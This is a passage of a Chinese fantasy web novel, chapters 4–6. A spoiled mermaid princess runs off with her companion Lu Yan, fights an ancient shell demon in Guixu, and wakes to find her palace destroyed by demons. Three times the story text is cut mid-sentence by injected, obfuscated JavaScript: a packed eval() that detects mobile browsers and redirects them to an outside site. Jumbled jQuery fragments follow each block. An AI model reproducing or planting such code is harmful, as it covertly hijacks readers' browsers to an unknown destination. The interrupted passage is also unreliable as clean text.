海谣摸着腹部慢慢踱步,剧痛微有缓解。她怒视着地上女子,她无声无息地躺着,脸色忽红忽白,但已缓了过来。
看,这就是烂好心的下场!
海谣气得朝她踢了几脚,恨恨道:“你发什么疯!”
海影立刻面露哀求之色,虚弱道:“你要是真的杀了她,还活得了吗?我是在担心你。”
偷袭并未对海谣造成实质的伤害,但着不意味着海影不想杀她,海影惯会两面三刀,谁知道她是不是想救海月邀功,但过于废物罢了......海谣右手凝出冰棱,准备再好好替自己讨个公道。
“什么声音?”
“月公主说是在这里。”
“怎么成了这样!”
“六公主,你一直不回宫,原来是在这里!”
“六公主,你为什么要害七公主,你还要杀四公主?”
丫鬟成群赶来。
海影指着海谣,“快,快拦住她,她要杀人!”
和受尽宠爱的海月站在一边,总好过为海谣辩驳。
海谣打退几个丫鬟,强行闯出一条路。
忽然,几枚碎片从衣襟里掉出,竟是琉璃珠,珠子替她挡下重击,碎得面目全非,香气自碎屑逸散开来,气息清雅温和,令她身体好受了许多。
海谣如梦初醒。
无家可归的红尾鱼群,都在默默注视着她,无声之中似乎满是谴责。
低头,掐碎掌中冰棱。
惧意后知后觉涌来,想要后悔,大错却已酿成,海月浑身是血,海君海后岂能容她?
惶惶如丧家之犬,海谣一刻不敢停歇。
回到熟悉的院落,陆言立于阶前,黑色袖袍轻动,宛如站在雪原之上。
她将他拉起,最后回看一眼,鼻头酸涩。
霜璃宫荧光照海,阁楼栉比,一色雪白,主子仆婢全乱成了一团。
这座宫殿,她回不去了。
4. 第 4 章
修长的身形缓缓清晰,陆言一直罩在结界里,宫中的嘈杂仿佛没惊扰到他。青年抬眸时,笑容同时优雅地扬了起来,海谣仿佛闻到了幽微的琉璃珠子的香气。
四目相对,海谣强行将他拉起。一路上追兵分成几路,追兵自然不会留情,数不清的冰丸冰棱破水而来,像利箭一样,眼看要刺中女孩,便碎成了冰屑。海谣有点害怕,回头看到天女散花一般的异象,睁大了眼睛,素手一指,祭出冰针,刺翻了几个妖卫。
取得胜利,海谣心情极好,正要乘胜追击,陆言忽然按住她的手,海谣不知道他怎么了,感到意外:“干什么?”
陆言无奈道:“公主,他们好像是你父王母后派来找你的,我们要不要回去?”
海谣打得起兴,不悦地摆手。
陆言道:“他们并不想伤害公主,你看那些冰棱都散开了。”
“哼,你知道什么。”
女孩哪里会管别人的建议,但注视着他节骨分明的手指握着她的手腕,指节泛着青白,好似一个忠诚的臣下在竭力恳求,她倨傲道:“好吧,他们全是讨厌鬼,但是看在你给他们求情的份上,本公主饶他们一命。”
陆言煞有介事地道:“多谢公主。”
听他劝谏仿佛是一件很值得高兴的事,海谣鬼使神差地笑了起来。
水的颜色很快变成浅蓝,日光折射进来,亮成一片,陆言瞧着那张美丽的小脸,试探着问:
“公主,我们还回去吗?”
海谣还未平复,听到“回去”二字浑身都跟着哆嗦,恶声恶气道:“你想回去就自己回去。”
青年低头看着身侧咬牙的女孩,很识相的妥协:“好吧,公主想去哪里。”
“你知不知道,魔住在哪里?”
陆言不解:“公主不是害怕魔吗?”
“谁说我怕魔,我只是讨厌他们,讨厌而已。”
陆言忍俊。
“为什么想去呢?”
海谣沉默许久,道:“不用你管,你知不知道从前妖族叛变的事?”
妖心易变,亘古以来各类妖族叛变之事发生得太多,不管是背刺本族,还是几度反叛,都多如海中水,天上星,无聊得不值一提。
女孩脑子迷迷糊糊,自己都记不清是哪件事,陆言却问:“公主说的是不是一千年前鲛族祭司澄皎叛逃魔族,后来魔族血洗各族,鲛族死伤不少,叛逃的澄皎反而活得更久。”
“你真聪明!”
听到想听的答案,海谣一喜,随即严肃宣布:“我要去魔界!”
陆言道:“你只能许一个愿望,你说的是让我陪你一天。”
被惊喜冲昏头脑的女孩怔了怔,同时对严肃的只能二字感到气恼。
“一个愿望和几个有什么区别?”
“你自己说,有没有区别?”
陆言不再顺从,海谣愤愤,她不明白为什么这个会为她出谋划策的人要在这种小事上反对她。
女孩道:“我自己说,没有区别!”
陆言语塞,好笑地看她半晌,“好吧,一生二,二生三,三生万物,公主说得对,没有区别。但是魔很可怕,你会害怕的。”
“我才不怕。”
海谣撇撇嘴,丫鬟平时也总是用各种理由推三阻四,但她知道,她们都是在搪塞她,只要再坚持一下,她们就不得不服从。
果然,面对她的坚持,陆言没再推拒,“一定要去魔界吗?可能要久一些,而且要做些准备,不入魔便入魔界会被恶魔吃掉的。但是入了魔会变成疯子,见人就杀。”
海谣哼了声,心里已经在发虚了,她担心入魔会变成疯子,更怕长出满脸魔纹。
“他们住得很远吗?不然你带我去看人吧,看很多很多的人!”
她记得叛逃不止有魔族一条去路,还能逃往人间。
陆言道:“好,我先带公主去看人。”
海谣对他的“先”字很满意,他自觉地把“去看魔”纳入行程,而不是模棱两可地用后者替代前者。
他们找到那条被遗弃的小船,陆言在前面引路,海谣忽然感到有些不对,她让陆言停下,陆言不解,她从水下伸出双手,陆言很自然地把她抱上了船。
暮色已至,残阳投下一片血红的光彩,海面呈现梦幻般的紫色,金光随着浪潮翻涌,飘到小船跟前。
海谣跳下船,往后游出几丈:“怎么又是讨厌的贝壳!”
陆言拾起一枚金光,一回头,高挺的鼻梁上就勾出了一道光边,好似从夕光中来。
他冲海谣道:“公主,这不是贝壳,是瓶子,有好多好多瓶子,瓶子里还有东西呢。”
海谣回到船边,惊喜叫道:“哇,这是琉璃瓶!里面装的是什么?”
琉璃救过她一命,海谣很喜欢这种五色斑斓的东西,二话不说打开瓶子,陆言止住她的动作,为难道:“里面是别人的书信,大约是许了愿,还是不看比较好。”
海谣奇怪道:“丢到海里,不就是给我们这些住在海里的看?说不准他们还当我是能许愿的神仙呢。”
陆言思忖道:“公主说得不错。”
海谣愈发得意,举着纸凑到陆言跟前,光穿透纸面,字迹娟秀的影子落在他们脸上,海谣问:“写的是什么?”
纸上绘制着粉嫩的花朵,向粉扑面,闻起来舌尖都泛起甜味。
陆言念道:“‘愿我如星君如月,岂知月明则星稀,星璨月则晦......’,这是一个名叫谢令姝的姑娘写的,她期盼能和自己喜欢的男子结成夫妻永远相伴,但是似乎不太顺利,不知是那个男子不喜欢她,还是家里人不许。”
海谣很喜欢凄婉的故事:“她喜欢的人叫什么名字?”
陆言道:“没写。”
海谣惋惜道:“唉,只有一个名字,那他们一定不能在一起了。”
陆言笑道:“哪有这样咒人的,让别人听见了该多伤心。”
海谣学着他的样子:“好吧,他们这辈子一定能在一起。”
陆言道:“公主确定要让他们在一起?”
海谣开心道:“本公主今天高兴,就让他们成亲吧。”
陆言道:“公主这么说,那就这么决定了。”
虽然陆言的决定起不到任何作用,海谣还是对他附和的态度十分满意,下令继续朝岸边游去。
浅滩上,渔民收网归家,岸上全是捡贝壳的小孩,笑闹的声音传来,整片大海,仿佛都跟着愉快起来。
看到海中有鲛人爬上礁石,渔民提着篮子跑来,他们的眼神中,满是不可思议的喜悦。
海谣被渔民的热情包裹,手上很快塞满了他们给的小玩意,还有好多吃的、喝的,一个汉子让媳妇赶紧回家杀只鸡炖汤来,他媳妇眼睛亮亮的,诶了一声就回去,没有半点犹豫。
但海谣看得出来,这对夫妻并不富裕,他们衣服上全是补丁,别的人在旁边感叹,都说那只鸡是他们家最后一只了。海谣又感激,又惭愧,她拒绝了渔民们的好意,渔民让她快些回家,下一次,记得把家人好友一起带来玩。
海谣心中畅快淋漓,飘飘忽忽就要回霜璃宫,半途,冷静下来,不高兴道:“我才不会把我家里人带来,他们还没人好!”她变了主意,警觉道,“我要回去找人,再也不回家了!”
陆言揉了揉额角,试图劝说:“公主,怎么能不回家呢?你父王母后给了你许多东西,比那些人给你的都好,而且他们给了你一百五十年,怎么就不如人好了呢?”
陆言还当妖卫只是找她回去,海谣心想,但她不想告诉他缘由,哼道:“当然没有人好!”
陆言道:“你父王母后听了可要伤心了。”
“他们才不会,他们的好东西都给海月了!”
“也给你了啊,而且远比那些人加起来的都多。”
“他们那是给我吗?他们把所有的东西都给海月,剩下海月不要的。”
女孩怒气冲冲。
陆言道:“但你不能否认,这一点其实还是很多,而且他们为什么不给别人呢,因为他们很喜欢你啊。”
“谁说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179979|180904||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没给别人,我还要和一堆讨厌的姐姐平分。”
陆言微微叹气:
“好吧,公主说得对。但只有拿到最多才开心,公主会经常失望的。”
海谣怒火中烧,想不通为什么陆言变得这么不可理喻,他说得那样平静,那么地笃定,好似代表了什么真理,轻描淡写就预判了她的悲剧。
越是如此,海谣要逆着来。
“我才不要最多!我要全部!”
陆言不予置评,依旧挂着势必如此的最让海谣痛恨的笑。
“我要去归墟!”
女孩极其败坏地下令。
陆言没有拒绝,随她潜入深海。
海谣其实根本不知道归墟在哪,只听说过这是海中最恐怖的去处,无论人魔妖鬼,进了归墟,无一能够生还。
她毫无方向地乱转,陆言不时出声提醒,他们走着走着,就走到了一个黑不见底的深坑边沿。
身周愈发寒冷,无穷无尽的海水旋转着灌进洞穴。
海谣临渊而立,看着卷入水流无法脱身的鱼虾,畏惧之心,不期而生。
海谣试探着踏出一步,哪知强劲的吸力让她控制不住身子,在激荡的水流中,她凭着最原始的直觉环住了陆言的脖子。
再次睁开眼睛时,双脚已经站在了海底。四周海藻珊瑚环绕,怪石嶙峋耸峙,一走动,脚下就传来吱呀的声响,凝神看去,全是船只松动的残骸,还有阴森的人骨。
归墟之中,不知埋葬了多少遇难的大船,腐臭的气息充斥着鼻腔,水流不如洞口激烈,尽数流向一座顶端长树的大土包。
海谣疑惑道:“这是坟墓吗?怎么会有人在这里修坟?唉,好丑的坟墓。”
见她兴致阑珊,陆言问道:“看过归墟了,公主现在要回去看魔吗?”
海谣迟疑道:“为什么我听到有东西在叫我?”
陆言道:“我也听到了。”
海谣左右看看,除他们外,四下无妖无人,但声音做不得假,不是一声,“海谣”“海谣”的呼唤愈发清晰,是成千上万调子各异的呼叫。
“是谁,出来!”
这时,礁石一层一层亮起。
贝壳张开嘴,珍珠露出,犹如一盏盏明灯,刚开始零星珍珠发出的淡光还略显阴森,但很快,归墟之中璨如仙境。
陆言伸手取来最近的一盏灯放在海谣手上:“公主,这是珍珠!”
海谣喜欢珍珠,却讨厌贝,“啊,那它们都是贝!”
陆言把贝壳远远抛了出去,俨然一个最忠实的侍卫,“公主不怕,我把会咬人的壳丢出去了。”
海谣并未察觉有任何不妥,身边人的纵容让她愈发得意,得寸进尺道:“这里的珍珠比宫里还多,我都要了!”
陆言犯难道:“我得想个办法。”
这么说就是同意了,海谣欢呼着。
不知是不是她的声音太大,回声太响,土包上稀松的泥土震得簌簌滚落,紧接着,在她震惊的目光中,土包中间横裂开一条巨缝。
“小妖女,就是你伤了本座的儿子,怎么还敢来送死!”
海谣蹙眉,陆言指了指前方,提醒她是土包在说话。
海谣抬眸,眼底闪过疑惑:“你是谁,我从来没见过你的儿子,你是不是找错仇家了?”
“哼,鲛人向来如此,令人作呕,本座要让你偿命!”
海谣道:“长命?怎样才能长命?但是你儿子到底是谁?难道是它?”
她抛了抛手中珍珠。
“它是我重重重......重孙儿!”
土包愈怒,冷冷哼出一声,海谣慢慢走向声音落地之处,艰难辨认出一个几尺宽的贝壳。
雪白的贝壳积满水垢,遮住原有的颜色,水垢之上长满了青苔,青苔之中还住满了寄居蟹。
简直奇丑无比。
最后,海谣辨出壳上几道深刻的划痕,刀痕利落,散发着凌然杀意,是水刀的痕迹,不可置信道:“怎么会是,我......海月不是海月,是他?”
5. 第 5 章
海谣将信将疑,目光惊悚,站在那里不动了,许久,右手缓缓浮起三条清丝。
归墟太安静,除了水流,就是海谣低低的念诀声,她原本清脆的嗓音压得低沉,却莫名令人觉得动听。
时间仿佛静止,三缕青丝从女孩掌心祭出,软剑一样刺向贝壳。
水垢落了一角,露出更多白色。
数尺大贝吓得扇了扇壳,珠光露了出来,恍若一只委屈巴巴的眼睛,哗啦啦流出一滩浓水。
“真的是贝壳!”
海谣惊呼,忍着恶心连连后退,生怕浓水沾上自己。千万只贝壳气得疯狂敲打礁石,一时之间,噼里啪啦,如有石块滚落。
“贼丫头,还敢动他!”
顷刻,数不清的珍珠射来,如弹丸齐发,海谣心如擂鼓。
海月是贝假冒的,真正的海月会在哪?来不及思考,她一手把陆言拽到身后,一手绘出符文,仰头道:
“是你儿子不是女儿?”
“儿子还能有假!他被你打得瘦了一圈!”
“啊啊啊,他是你儿子?好丑的壳!都长绿毛了!!”
“找死!”
“你怎么还没死?”
海谣边躲边问,她猜出了土包身份,语气万分真诚。
记载中,幻海夺位之战,元贝重伤落败,被各族合力封印在海底,自此音讯全无。
史册未曾写明他被封印在什么地方,大家都当他死了。不料元贝龟缩一隅,吸食日精月华,已然练成庞然大物,又不爱动,身上积了几丈淤泥,看起来就成了一座小山。
元贝还活着,而与他同时代的首领都在后来数次开疆拓土的战役中身亡。
海谣不敢轻视万年大妖,屏气凝结水刀,刀刃无形,藏匿在水中难以察觉,柔软如丝,却可劈金断玉,几声刺耳的鸣叫后,数百枚贝壳四分五裂,肉身痛苦地翻滚。
“臭鲛人,不要脸,先打本座儿子,又来这里捣乱,你敢杀本座多少族人,本座就要多少鲛人偿命!”
“呸,谁不要脸,你儿子多少岁了,几千岁上万岁总有了吧,老东西还男扮女装去骗人,真不要脸!”
海谣浑身泛起疙瘩。
“快说你们把海月藏哪里去了!”
元贝暴怒,张开贝壳。他一动,土坡地动山摇,积沉了千万年的泥沙轰然滚落,海谣升起结界护身,还是有不少砂石穿透屏障。
巨大的吸力再次出现。
已是强弩之末,海谣身形不稳,眼看要被卷入大口,然而恶臭扑面而来,酸腐如有实质,逼得她倒退几步。
海谣扶着身旁石壁干呕。
天知道这只贝吃了多少乱七八糟的东西,腐木、尸臭、血腥、阴沟,哪怕把世间所有恶气融合,也难以相当......她脑中糊成一团,心底存有残念,哪怕必死,死的那一瞬间,一定要在贝壳之外。
绝望到了极致,反而镇定下来。
她忽然觉得好笑,自己为什么要和他们打,逃走不就好了。
女孩聚水成绳,水绳逆流而上,牢牢拴住洞口附近一方石柱,绝处逢生,海谣得意极了,回眸一笑,笑容却僵在了嘴角。
元贝咧开的大嘴处有一抹鲜亮的颜色,像一只断了线的风筝,悬在半空之中,垂软无力地飘摇。
海谣大惊:“你把她吃了!”
元贝含糊不清道:“传说中幻海最可爱、最珍贵、最聪明、修为最高的小公主......味道嘛......确实不错,细皮嫩肉......好吃,好吃。”
海谣听得满身鸡皮,“你少骗人,这是幻术。”
元贝也不解释,含糊不清道:“是不是骗你你自己最清楚。六公主,本座知道你在想什么,你看你脸都快笑裂了!”
海谣下意识压了压嘴唇,但她根本没笑。
咯咯的阴笑冷冷飘来。
“六公主,如果你觉得这是幻术,也行,这样想是不是好受了许多。等你回到宫里,看到所有人都在找你妹妹,还可以自我安慰一句。”
海谣一面偷偷绘制传讯符,一面犹豫要不要过去。她指尖微小的动作全被元贝看在眼里,元贝唏嘘道:“要不是你妹妹在这,没有什么东西会过来救你,死到临头了还要拖你妹妹的福。”
贝壳故作不解,“为什么那么恨你妹妹?看,她又帮了你是不是?”
“哦,我想起来了,你居然想杀你妹妹,我儿子是扮成你妹妹才被你砍成这样,啧啧啧。”
平时没人敢对海谣说这些,骄纵的女孩即使再不得父母重视,也是幻海公主,被婢女小心侍奉着,身边的人都在看她脸色。
摸清女孩脾气后,她们宁可怠慢她、装作听不到、看不到、打马虎眼,也不与她多说一个字。
可此时,女孩平静地听着,手上掐诀,往绿毛贝的方向推去。
一直观战的绿毛贝根本没注意周遭变化,被炸到半空,旋了几个圈。
元贝惊怒,大嘴又裂开一点,海月上半身滑了出来,海谣立刻抛出水绳,这一次是顺水疾流,水线很快绕上海月腰身,海谣收绳,可惜力量悬殊,瞬间被反拽了过去。
她指尖结出冰棱,刺进元贝外壳边缘最薄的部分,以防自己落入贝口。忽然听见咔嚓一声,手上松动,一大块硬物随着她的手一起滑落,元贝震碎外壳一角,海谣失去手柄,坠了下去。
终于还是落入了又黑又臭的境地。
海谣苦不堪言,若她与海月合力,兴许能炸出一条生路。她看了看脚下,忽地想到贝族肉身柔软,于是再次结出冰棱狠狠地朝下刺了进去。
冰棱断裂。
她没想到,经过千万年啃噬各种千奇百怪的异物的修炼,元贝已经练得皮糙肉厚,刀枪不入。
海谣索性用冰针扎进海月手心,昏迷的少女顷刻睁开双眼,澄澈的眼眸宛若一汪海水,愕然地看着她。
“姐姐,你怎么在这里,你到底去了哪里。”
少女哭了起来,豆大的眼泪夺眶而出。
“姐姐,为什么你这么久不回来,我找不到你。”
找我做什么!
蠢货。
海谣不愿张嘴,紧抿的唇像在生气。
在一番折腾下,海月早已气若游丝,眼神涣散,却还在看着海谣,“姐姐,你到底去了哪里。我......我现在......是不是要死了,姐姐,我......”
眼看海月快要昏过去了。
海谣抓住她的手,心下惊异。
血脉好似一寸寸断开,不知被什么震碎了。而她自己,除了恶心并无异样,原来,海月在此之前,已经被人重伤。
“我胸口好痛......阿娘......”
海月呻吟着。
看着海月面无血色的脸,海谣心绞成一团,像是被人狠命捏了一下。烦躁、厌恶、慌乱之下,漫开非常细微的内疚。
谁要她找了!
但是,海月确实是没等到她,才出宫寻找、遇上贝族。她被那只丑陋的大贝壳重伤,又被贝壳拖到归墟,现在脸色越来越白,皮肤越来越冷。
各种情绪排山倒海冲刷着海谣,她惊愕地发现,比起海月一脸灰败地躺在这里,她似乎更愿意看她被婢女簇拥着坐在大殿里,静静的,像一朵白花。
反正也习惯了。
海谣呆呆站在那里,一脸的茫然。
她试着把清水送入那只细腕。
海月的脸蒙上了黑色。
不知从哪冒出来的黑雾,不断翻滚,而且越来越浓厚,严严实实地遮住了视线。
海谣头脑混沌,这根本不是海族中应有的术法,她困惑地看着这片浓雾。
黑雾是友非敌,它在折磨元贝,贝的肉身不断反搅,似是痛苦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179980|180904||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不堪,其他被困在贝壳里的活物却安然无恙。
哗啦声响起,脆生生的连成一片,像是雨打荷叶。
珍珠如瀑倾洒,海谣被珠子冲出贝壳,滚到了地上。
原来元贝的肉身裂了一个口子,里头藏蓄的珍珠还在不要命地往外洒落。
海谣怔怔地坐在珍珠堆里。
黑雾散开。
她看到了陆言,他还站在那里,侧着脸,长睫纤直,轮廓利落。归墟之中天旋地转,大地似在震动,他墨黑的长袍掀开一角,待风扫过,又优雅地落了下来,一闪而过的银纹好似一缕清冷的雾气,来不及看清,就散了。
陆言仿佛压根没看到刚才的一幕,他很自然地向她走来,把她从珍珠堆里抱起,问道:“公主没有受伤吧?”
海谣被他平和的态度激得恼怒。
她差点就死了,他怎么还能好端端站着?
心底火气直冒:“你怎么不拉住我,你知不知道贝壳里有多恶心,多恐怖,我现在还是想吐!”
陆言坦然认错:“都是我不好。”
“你看见海月了吗?”
陆言抬头,海谣顺他视线看去,黑雾将海月团团裹住,一齐往洞外去了。
陆言道:“公主,我们要去追吗?”
海谣咬唇,探了探传讯符,更生气了:“有什么好追的,找她的人就在附近,他们一定能碰上,你想凑热闹就自己去。”
陆言道:“我们现在要去看魔吗?”
海谣飞快眨眼,好不容易把眼睛睁开。
陆言道:“公主累了吗?是该回去休息了。”
声音低沉,带着无限的吸引。他替女孩擦掉了指尖残留的贝壳碎屑,女孩这才有些满意。
“困死了,回去吧。”
海谣真的累了,陆言把她抱在怀里,她蹭到一个舒服的姿势,安然枕上他臂弯,她看着他,只觉得这副五官好看得近乎完美,怎样都看不够,脑中一阵迷糊,终于满怀不舍地入睡,任由陆言带着她在海中穿行,不知不觉,海水中多出了一种令人不安的腥味。
海谣骤然惊醒。
在外头瞎逛了一天的女孩根本不知道冰璃宫发生了什么,她惊恐地长大了嘴。
到处都是黑雾,它们横冲直撞,穿墙破窗,宛如毒蛇一般绕上雪白的宫室。
贝壳宫道上横七竖八躺着鲛人的尸身,其中还有她几位姐姐,雾气渐浓,最后连一丝珠光都透不出来。
海君从雾中挣脱,他手执法杖,与几个雾面人交手,几番光影交错,血水弥漫开来,将海水染成妖异的深紫色。
“月儿,你在哪?月儿——”
不断有屋脊断裂,君后惊魂未定地四下张望,海谣目光与她交错。
君后脸色微缓,仍在不断左顾右盼,直到眼睛紧紧盯着一处。
一个披着斗篷的人从雾气钻出,他站在雾端,手上环着海月。
海后双目充血,怒喝道:“放了她!”
几道冰棱刺去,黑雾迅贯穿冰棱,柱身在半空断裂。
斗篷人唇角抿出一个戏谑的弧度。
他转了个方向,手指指向海谣,黑雾瞬间凝聚,化成玄铁,如铁箭离弦般射出,他笑了笑,展开斗篷裹住海月就要离开。
君后满目凄然,一边设下结界防止敌人逃脱,一边冲向斗篷。
箭矢飞来,海谣冷静得出奇,她没有躲。
利箭一分为十,能躲过的几率不大,何况,她一往后退,就碰上冰冷的结界。她也没聚水画符,斗篷能轻松举击溃元贝,她的任何抵御都显得无力可笑。
她就这么看着,连视线也没有移开,带着几分好奇,一族君后与那阴森的斗篷,究竟谁会赢?
忽然,眼前全是漆黑。
同时,声音沉沉地响起。
“公主,那就是魔,公主还想去魔界吗?”
6. 第 6 章
“她怎么这么久没醒?”
“这要问你。”
陆言低头看了看,怀中女孩呼吸不匀,睫毛不时抖动。
“是不是喘不过气。”
他松了点力道,一只小手钻出,紧紧揪着他领口,他漠然地抓下了那只手。
“打算怎么办?”
“你把她带给她爹娘。”
“不,”斗篷退了一步,“我不想抱着她找人。”
“她不沉。”
“那也不行,我还有要紧事,不想陪她玩。”
“留在殿里让她帮你办点事。”
“我不想让月儿受伤。”
“她们是姐妹,而且你月儿不是逃了吗?”
“哼,”
斗篷人嗤笑,“今天不是还没结束吗?而且她是不是欠了你很多?”
“这样可爱又可怜的小朋友,我从来不想从她身上得到什么。”
陆言抱着海谣转了个方向。
“你要带她去哪?”
斗篷深深看了他们一眼,跟了上去,可怖的袍子比腿长了许多,悬空飘荡,愈发的衰败阴森。
霜璃宫,一片残垣断壁。
几根高耸的柱子挺立着,雪白的柱身溅了血液,宛如红泪一样缓缓流下,而它们曾经支撑的宏伟宫殿变成了满地残砖碎瓦。
远远地看,丁点红色便不见了,一片冰砖玉瓦,好似春末梨花枯萎跌落枝头洒了满地,意外地生出几许凄异的凋亡之美。
踏着一地乱琼碎玉,几经弯折,陆言停在一间殿宇前,他推开破门。
王宫残存的建筑不多,那股毁天灭地的力量摧毁了所有高大、惹眼的事物,这座实在难以称作宫殿的小屋反而幸运地保留了下来,正如平日无人打扰,敌人似乎也忘了它的存在。
整洁小巧的冰床安安稳稳地摆在窗下。
陆言把海谣放在床上。
“陆言?”
女孩不舒服地翻了个身,眼睛没有睁开。
“公主,我在。”
他站在床边,宛如永远守护公主的侍卫。
听到他的声音,女孩安稳地合上了眼,红润的唇上微微翘起。
陆言还在这,那就没什么可担心了!
海谣想着。
不知为什么,身下温暖的靠垫变得又冷又硬,她皱了皱眉。
“走吧。”
睡梦中的女孩没听到这声告别,也没看到那个漠然的、毫无留恋的背影。
海面上,潮水奔腾着朝海岸的方向涌去。
一天早已结束。
天空不知几时开始下起了雨,电闪雷鸣,海面激荡,阵阵雾气从升腾起来,驱散了残留的魔气。
两个黑影在浓雾间缓缓行走,很快消失不见。
层云之上,没有风,也没有雨,天空黛青,星子簇拥着明月,察觉有人走近,银辉水流似的蜿蜒散开,亮成一条璀璨长河,河中点散的银光忽明忽暗,恍若一双双俏丽的眼,调皮地眨着,似要吸引什么人的注意。
光芒奔向无穷无尽的远方。
尽管目光所及的每一处都极尽璀璨,还是无法消除那抹空寂,也从没人想让这里变得热闹,毕竟亘古以来,都是如此。
“好久没回来了。”
“一千年而已,很久吗”
苍白的手从玄衣下伸了出来,指节微动。
有风吹过,星辉黯了,只剩月亮还在散发着皎洁的光芒。
那只手稍稍举起,像是想要触碰那轮又大又圆的月亮。
“好像不太圆了。”
声音似有些遗憾,“你眼神好,替我看看。”
兜帽掀起一点。
“你看得没错,昨夜才是正圆,这一世,她出生的时候月亮正圆。”
“你是说,昨天?昨天,她们的生辰,她们在月圆之日出生?”
微风之中,飘荡着难以察觉的激动。
斗篷道:“月儿晚了一个时辰,那条蓝尾巴鱼是子时生的。”
“我相信你不会在这点小事上说谎。”
“真要回去找她?”
“我认为你说得对,我应该在她身上讨些东西。不过,她的确太能折腾,有些事该提前说好。”
“哦,你的意思是你老了,折腾不动了?”
*
海谣睁开眼时,周围奇静无比,一个人都没有,她叫了数声,没有一声回应,好像还是和寻常一样,丫鬟只是在偷懒,也没别的人会来看她。
陆言也不见了。
女孩猛地坐起,轩窗外,躺着几个丫鬟的尸体,陆言在哪,他也死了吗......
海谣没忘记发生了什么,更没有忘记铁箭破空而来,是陆言挡在了她面前。
他在哪......
太不切实际了,有一种恍如隔世的感觉。昨天,这个地方还在举行庆典,笙箫鼓乐、笑谈欢呼隔着几层宫墙都能听到,而现在只剩下死一般的寂静。
一直以来喜欢独处的女孩头一次害怕了。
她颤动着唇,抱紧了身子,心想自己应该高兴,终于不用见那些讨厌的家伙,再也不用看她们心烦又畏惧的眼神。她想打起精神享受空无一人的宫殿,但哽咽无意识地从喉咙里钻了出来。
门突然被人打开。
女孩颤了一下,很快,心跳立刻狂跳不止,修长的玄色身影清晰地映在瞳孔中,是陆言,他还没走,也还活着!
海谣朝他伸了伸手,陆言在一尺之外停了下来,没有接过她的手,连头都没有低一下,他居高临下看她,像尊高大冰冷的雕塑。
海谣双手停在半空,满脸期待变成怔愣,她仰起脖子,不理解陆言为什么还不抱住自己。
“陆言!”
她皱着眉,感到委屈无比。
陆言弯下身子,百般无奈地抱起了床上纤瘦的身子。他的神色不太情愿,海谣顿时不乐意了。
“陆言,你刚才去哪了?”
“公主,我一直在院子里,听见公主叫我,就过来了。”
“他们呢?他们都去哪了。”
“公主,海君君后带着还活着的族人逃了,不知去往何处。”
还是没人想起她。
海谣嘴唇动了动,哼了一声,她紧紧抱住陆言,刚泛起的失落消散了。
被人抛弃又怎样,她一点都不生气,反倒十分庆幸,这么一来,她就能让陆言陪着自己,得到的远比失去的要多!
青年身上干燥的清香,一闪而过,没来由地令人安心。
“公主想去找他们吗?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179981|180904||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“我才不想!”
“这么说,公主想和我走?”
海谣抬起头,她最讨厌别人明知故问,但这个人是陆言,她暂时还能好脾气地点头。
一双外圈泛蓝的眸子,满是肯定和期待。
“公主既然已经决定了,那么从今天开始,有些事必须说清楚。”
海谣微愣,她隐约察觉他们之间有什么在变。
“修炼时不许偷懒,我不管你能不能化出真腿,都得自己走路,因为我不打算一直抱着你,如果到某个地方你走不动了......”
海谣一颗心倏地提起。
“你想怎样!”
“我会把你放在那里。”
海谣哽了一声,但她也明白,现在不是乱发脾气的时候,而且陆言的要求不算过分,是以她不太情愿地答应。
陆言继续道:“以后不许乱跑,如果你不见了,我不会去找你,若是半个时辰之内看不到你,我们只好分道扬镳。”
海谣双唇发颤,睫毛上悬着一颗硕大的泪珠。
这种感觉很古怪......到底哪出了问题,陆言语气严厉得不像玩笑,何况,哪怕这只是个玩笑,她也不喜欢!
从来没人敢对她说不许!连她母后一贯都是小心翼翼地劝她。
“还有,不许哭。我比较喜欢安静。”
这下海谣彻底傻眼了,陆言给她的印象太好,而一觉醒来,就变得毫不留情,才说不到几句话,每一句都像棍子似的敲在她头上。
眼泪不争气地收了回去。
到底为什么会这样!
海谣忽然意识到自己还在陆言怀里,被人这样抱着,气势当然矮了一大截,她用力拍打陆言手臂,同时也带了点让他明白她在生气的意味。
“放我下来!”
语气冷硬。
陆言笑意如常,有点意外之喜:“其实公主是个很懂事的孩子啊!我有预感,我们一定能相处得十分愉快。”
他一点也没看出她不高兴,跟瞎了一样,海谣满心失望。她扯住陆言袖摆,还是以往那样,想到什么就做什么,二话不说便把宽大的袖子往上褪。
那个贴心的人不见了,眼前这个一定是冒充的,她要把陆言找回来。
手被人按住,挣开。
男人松手的动作仿佛是在轻飘飘掸掉一粒灰尘,海谣大梦不醒似的站在那儿,心闷得难受。
陆言若有所思地看她,眉头渐渐纠结起来。
